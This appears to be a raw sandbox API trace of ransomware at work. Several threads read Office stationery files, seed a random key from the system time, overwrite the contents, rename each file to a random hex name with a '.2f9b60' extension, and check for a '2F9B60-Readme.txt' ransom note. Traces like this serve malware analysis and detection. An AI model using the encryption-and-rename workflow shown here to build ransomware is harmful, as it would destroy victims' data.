sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="5f") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="82") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="34") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="39") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="e0") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="62") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="77") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="a3") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="c8") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="13") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="c9") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="39") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="27") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="6a") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="17") returned 2 [0117.411] RtlInitAnsiString (in: DestinationString=0x1ecffd88, SourceString="ad451b39f95f823439e06277a3c813c939276a17" | out: DestinationString="ad451b39f95f823439e06277a3c813c939276a17") [0117.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ecffd58, SourceString="ad451b39f95f823439e06277a3c813c939276a17", AllocateDestinationString=1 | out: DestinationString="ad451b39f95f823439e06277a3c813c939276a17") returned 0x0 [0117.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8587f0 [0117.411] RtlFreeAnsiString (AnsiString="a") [0117.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85ca80 [0117.412] wcscat (in: _Dest=0x1b85ca80, _Source="ad451b39f9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9" [0117.412] wcscat (in: _Dest=0x1b85ca80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9.2f9b60" [0117.412] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9.2f9b60", NtPathName=0x1ecffd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad451b39f9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050bab0 [0117.412] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x1ecffdd0, FileInformation=0x2050bab0, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0117.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0117.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.414] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x1ecffd98, FileInformation=0x1ecffda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ecffd98, FileInformation=0x1ecffda8) returned 0x0 [0117.414] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x1ecffd98, FileInformation=0x1ecffda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ca80) returned 1 [0117.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8587f0) returned 1 [0117.415] FlushFileBuffers (hFile=0x149c) returned 1 [0117.537] CloseHandle (hObject=0x149c) returned 1 [0117.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.546] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.546] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b670) returned 1 Thread: id = 1313 os_tid = 0xe94 [0117.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif")) returned 0x20 [0117.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF", dwFileAttributes=0x20) returned 1 [0117.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0117.418] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x3bfafb00 | out: lpFileSize=0x3bfafb00*=4039) returned 1 [0117.418] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0xfc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.418] ReadFile (in: hFile=0x176c, lpBuffer=0x3bfafa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bfafac8, lpOverlapped=0x0 | out: lpBuffer=0x3bfafa80*, lpNumberOfBytesRead=0x3bfafac8*=0x4, lpOverlapped=0x0) returned 1 [0117.455] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9bb0 [0117.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.455] NtQuerySystemTime (in: CurrentTime=0x3bfaf9c0 | out: CurrentTime=0x3bfaf9c0*=132462177229042000) returned 0x0 [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x2d1cc5e1 [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x50d85106 [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x2d1f8325 [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x6e82892e [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x661afe4b [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x4b8b39db [0117.455] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x630e6755 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x295b561 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x1913b114 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x4883c23c [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x452a9338 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x71b48c59 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x4667fcfe [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x37eeb16c [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x53736fb9 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x7b479063 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x4078733 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x47e30c5d [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x5275874f [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x21c6bccf [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x476679b9 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x4717d0db [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0xb2c2c16 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x602b9556 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x262488d3 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x20c902a5 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x33625c9f [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x2c731a84 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x232c01c1 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x1cfa58b7 [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x7e35e16b [0117.456] RtlRandomEx (in: Seed=0x3bfaf9b0 | out: Seed=0x3bfaf9b0) returned 0x674016b8 [0117.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0117.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0117.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ac0 [0117.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0117.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0117.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0117.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fae130 [0117.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb1d40 [0117.464] ReadFile (in: hFile=0x176c, lpBuffer=0x41fae130, nNumberOfBytesToRead=0xfc7, lpNumberOfBytesRead=0x3bfaf9b0, lpOverlapped=0x0 | out: lpBuffer=0x41fae130*, lpNumberOfBytesRead=0x3bfaf9b0*=0xfc7, lpOverlapped=0x0) returned 1 [0117.464] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.464] WriteFile (in: hFile=0x176c, lpBuffer=0x41fb1d40*, nNumberOfBytesToWrite=0xfc7, lpNumberOfBytesWritten=0x3bfaf9b4, lpOverlapped=0x0 | out: lpBuffer=0x41fb1d40*, lpNumberOfBytesWritten=0x3bfaf9b4*=0xfc7, lpOverlapped=0x0) returned 1 [0128.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0128.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0128.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb1d40) returned 1 [0128.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fae130) returned 1 [0128.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0128.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0128.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8400 [0128.383] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.383] WriteFile (in: hFile=0x176c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bfafad0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3bfafad0*=0x106, lpOverlapped=0x0) returned 1 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0128.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0128.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cc0 [0128.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6cc0) returned 1 [0128.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0128.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0128.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9e930 [0128.387] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="dd") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="f5") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="6f") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="dd") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="1a") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="f7") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="8c") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="dd") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="51") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="3c") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="c5") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="99") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="c9") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="91") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="d5") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="c5") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.387] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="dc") returned 2 [0128.387] RtlInitAnsiString (in: DestinationString=0x3bfafb48, SourceString="ddf56fdd1af78cdd513cc599c99c2e91d5c52edc" | out: DestinationString="ddf56fdd1af78cdd513cc599c99c2e91d5c52edc") [0128.387] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bfafb18, SourceString="ddf56fdd1af78cdd513cc599c99c2e91d5c52edc", AllocateDestinationString=1 | out: DestinationString="ddf56fdd1af78cdd513cc599c99c2e91d5c52edc") returned 0x0 [0128.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cbb0 [0128.388] wcscat (in: _Dest=0x1cf4c840, _Source="ddf56fdd1a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a" [0128.388] wcscat (in: _Dest=0x1cf4c840, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a.2f9b60" [0128.388] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a.2f9b60", NtPathName=0x3bfafaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ddf56fdd1a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8615f0 [0128.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.394] NtQueryInformationFile (in: FileHandle=0x176c, IoStatusBlock=0x3bfafb58, FileInformation=0x3bfafb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bfafb58, FileInformation=0x3bfafb68) returned 0x0 [0128.394] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x3bfafb58, FileInformation=0x3bfafb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c840) returned 1 [0128.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cbb0) returned 1 [0128.396] FlushFileBuffers (hFile=0x176c) returned 1 [0128.399] CloseHandle (hObject=0x176c) returned 1 [0128.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c970 [0128.402] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0128.402] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0128.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b5e0) returned 1 Thread: id = 1314 os_tid = 0xe90 [0117.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm")) returned 0x20 [0117.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM", dwFileAttributes=0x20) returned 1 [0117.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x178c [0117.421] GetFileSizeEx (in: hFile=0x178c, lpFileSize=0x3bd9faa0 | out: lpFileSize=0x3bd9faa0*=507) returned 1 [0117.421] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x1f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.421] ReadFile (in: hFile=0x178c, lpBuffer=0x3bd9fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bd9fa68, lpOverlapped=0x0 | out: lpBuffer=0x3bd9fa20*, lpNumberOfBytesRead=0x3bd9fa68*=0x4, lpOverlapped=0x0) returned 1 [0117.422] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.422] NtQuerySystemTime (in: CurrentTime=0x3bd9f960 | out: CurrentTime=0x3bd9f960*=132462177228730000) returned 0x0 [0117.422] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x686ef2df [0117.422] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x6ec14458 [0117.422] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5e3acc8a [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x64fe52eb [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0xff06a1c [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x7a2459db [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x57e830f5 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5102293c [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x8826651 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5370fb4b [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5fdd9e02 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x1fa8dae6 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x547bff76 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x6d6490bd [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x4ac1f540 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5fe82275 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x467d8bc2 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x73473444 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x1cb4e9be [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x3e822379 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x66d4ce10 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x4144eab9 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x31272e9f [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x5cbf44c8 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x4902fb4a [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x77032e62 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x41ad937c [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x11be70f2 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x7069e28 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x7f4ebe4a [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x4a971c80 [0117.423] RtlRandomEx (in: Seed=0x3bd9f950 | out: Seed=0x3bd9f950) returned 0x10e26d50 [0117.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 